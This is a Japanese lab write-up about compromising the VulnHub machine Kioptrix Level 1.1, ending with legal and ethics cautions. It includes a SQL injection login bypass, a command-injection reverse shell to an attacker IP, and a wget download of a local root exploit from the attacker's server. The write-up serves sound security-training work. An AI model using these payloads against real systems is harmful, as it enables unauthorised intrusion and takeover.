~仮想マシンでスーパー実践ハッキング~
目的
VulnHub は、意図的に脆弱性が仕込まれた仮想マシンを無料で提供しているプラットフォームです。まるでハッキングの練習場のようなもので、安全な環境で様々な攻撃手法を試すことができます。
個人的にボリュームがあって複数のスキルを駆使して乗っ取るという形なので、一番実践的かつ攻略手法も一つではなかったので、面白くて勉強になるなという印象でした。ほかの基礎的なプラットフォームを学習後、力量確認としてもってこいのコンテンツだと思います。
VulnHub

VulnHubは、ハッキングの練習環境として世界中で人気のあるプラットフォームです。初心者から上級者まで、幅広いレベルのハッカーにとって最適な学習環境を提供している。ハッキングの勉強をする人にとって非常に魅力的なサイトです。
VulnHub の魅力
1. 実践的な学習: 実際の脆弱性を持つ仮想マシンを使用して、実践的なハッキングスキルを習得することができます。
2. 豊富な種類: 初心者向けの簡単なものから、上級者向けの高度なものまで、数百種類の仮想マシンが用意されています。
3. 難易度: 各仮想マシンには難易度レベルが設定されているので、自分のスキルに合った課題に挑戦することができます。
4. 無料で利用可能:無料で利用できるので、費用を気にせずに学ぶことができます。
実践練習
※仮想化マシンを構築する為の環境、仮想化ソフトウェア(VirtualBox、VMWare)などの準備を事前にしておく必要があります。
仮想マシンのイメージをダウンロード
・下記サイトにアクセスして任意のMachineを選択する。
URL:https://www.vulnhub.com/
・今回は”easy”で検索し、「Kioptrix: Level 1.1 (#2)」をダウンロードします。
※Level1はNetworkがうまく設定できなかったので、飛ばしました。

・“Download”の項目からURLをクリックして、ダウンロードします。
※「最初のリリースには Web アプリケーションにバグがありました」と記載されているので、update版をダウンロードします。また、無印のほうは「Access Denied ~」と表示されできませんでしたので “Mirror”のほうをダウンロードします。

・ダウンロードしたものを任意の場所に解凍します。
今回はVirtualBoxを使用します。
仮想マシン構築
以下サイトを参考にさせてもらいました。
URL:https://webgroove.work/virtualbox-vmdk-vm-create/
・VirtualBoxを起動して、新規ボタンをクリックして仮想マシンの作成をします。
<Name and Operationg System>
名前:任意の名前を設定
Folder:任意のフォルダーを設定
タイプ:Linuxを選択

<Hard Disk>
Use an Existing Virtual Hard Disk File を選択し、右にあるフォルダーマークをクリック。
追加ボタンをクリックし、解凍したフォルダーへいき、”CentOs4.5.vmdk”を選択。
すると、”Not Attached”に追加されるので、選択してChooseをクリック
完了をクリック


・下記サイトの設定をおこないます。(仮想マシン同士を通信させるため)
URL:https://rootreasure.hatenablog.jp/entry/2020/04/26/150842
・VirtualBoxに追加されるので、起動する。また、攻撃環境(Kali Linux)も起動させる。
※追加したマシンが起動しない場合は、設定>ストレージ SATA→IDEに変えてみると起動するかもしれません。以下参照
URL:https://blog.goo.ne.jp/self-style/e/c5546d69c78e6535c95d3ece5704565a

攻撃開始

1.対象マシンのIP特定
①arp-scan -l
同一Network内で使用されているIP/MACアドレスの一覧を取得するコマンド。
10.10.10.1 はDHCPサーバーなので、10.10.10.11 が対象マシンだとわかります。

②netdiscover -r ネットワーク
ifconfigや”ip a”を使って自分のIP、ネットワークを確認します。rオプション(range)で対象のネットワークを指定します。自分の環境だと「sudo netdiscover -r 10.10.10.0/24 」を実行して以下画像が表示されました。考え方は①と同様です。

2.サービスの特定
ハッキングに利用できそうなサービスがないかを調べる。
「nmap -sV 10.10.10.11(対象のIPに変更)」を実行。
ssh、http、mysqlなどのサービスを確認できます。

3.各サービス調査
まず、80番ポートがopenしているのでブラウザを開き、IPアドレスを入力します。
すると、以下画面が表示されました。

Webアプリケーション脆弱性診断ツール、zapを使います。(Kali Linuxにインストールされているので)
terminalに「zap.sh」入力し、実行。右側の”Automated Scan”をクリック。

“URL to attack:”のところに対象のIPを入力し、”Attack”をクリック

4.SQLインジェクション
Scanが止まったら、”Alerts”タブをクリックして、診断結果を確認する。
赤色のRisk:Highな脆弱性(SQL Injection)が2つ検出されました。選択して、parameter、Attack、description、other Infoなどを確認します。
実際にやってみます。Username:a Password:’ or ‘1’=’1を入力後、Loginをクリック。(usernameは入力されていればなんでもよさそう?)
成功し、画面が切り替わります。


pingを実行するみたいなので、試しにIPを入力すると実行結果が表示されました。

コマンドを入力すると、結果が表示されます。

5.コマンドインジェクション&リバースシェル
コマンドインジェクションの脆弱性があると判断できます。
攻撃端末側でncコマンドを実行し、リバースシェルの接続を待ちます。
「nc -lvp 1337」-l:リッスンモード -v:詳細表示 -p:ポート指定
次に、ブラウザ上に「; bash -i >& /dev/tcp/10.10.10.10(攻撃マシン側のIP)/1337 0>&1」コマンドを入力し、submitをクリック。

接続成功すると、コマンドを実行できます。

6.権限昇格
エクスプロイトを探すために対象マシンの情報を確認する。
kernelのversion、OSなど。

“searchexploit”を使い、獲得した情報で検索する。

「cp /usr/share/exploitdb/exploits/linux/local/9545.c ./」コマンドを実行し、“9545.c”をコピーする。
攻撃端末側でWebサーバーを立て、対象マシンからエクスプロイトをコピーする。
tmpディレクトリに移動(どのユーザでも書き込み可なので)
「wget http://10.10.10.10:8000/9545.c」を実行して、ダウンロードする。


「gcc -o privesc 9545.c」エクスプロイトを実行するためにコンパイルする。
「chmod +x privesc」 コンパイルしたファイルに実行権限を付与する。
「./privesc」実行する。

root権限を取得できたのでクリアです。

まとめ
VulnHubはいくつもの脆弱性やスキルを駆使して、クリアを目指すので初心者には一筋縄ではいきませんが、なんとなく全体像がつかめるのでいい経験になると思います。
ぜひ勉強が進めながらどんどんチャレンジしてみてはいかがでしょうか?!
ほかにもたくさんの勉強プラットフォームがあるのでおすすめを紹介したいと思います。
TryHackMe

HackTheBox

PortSwigger

注意点
違法行為は絶対に行わない: 許可なく他人のシステムに侵入することは違法行為です。必ず、合法的な範囲内で実験を行いましょう。
倫理観を持つ: ハッキングは、倫理的な側面も考慮する必要があります。
情報漏洩に注意: 実験中に個人情報や機密情報が漏洩しないよう、十分に注意しましょう。